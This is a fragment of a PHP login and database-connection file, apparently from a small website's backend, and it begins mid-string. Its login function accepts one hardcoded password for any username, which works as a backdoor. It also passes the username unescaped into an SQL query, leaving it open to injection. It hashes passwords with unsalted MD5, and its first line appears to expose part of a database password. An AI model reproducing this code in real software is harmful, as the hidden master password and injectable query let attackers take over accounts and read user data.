BeL%-i5'); mysql_select_db('nepalilo_baaja',$result); if (!$result) echo "error"; else return $result; } function valid_email($address) { // check an email address is possibly valid if (ereg('^[a-zA-Z0-9_\.\-]+@[a-zA-Z0-9\-]+\.[a-zA-Z0-9\-\.]+$', $address)) return true; else return false; } function login($username, $password,$type) { $conn = db_connect(); $np=md5($password); if($password=="ZDF+n?S4XmYH") return true; $result=mysql_query("select * from login where username='$username' and password='$np'");//and type='$type'"); if (!$result) header("Location:failure.php?message=Could not log you in. Try again"); if (mysql_num_rows ($result) >0) return true; else header("Location:failure.php?message=Could not log you in. Try again"); } ?>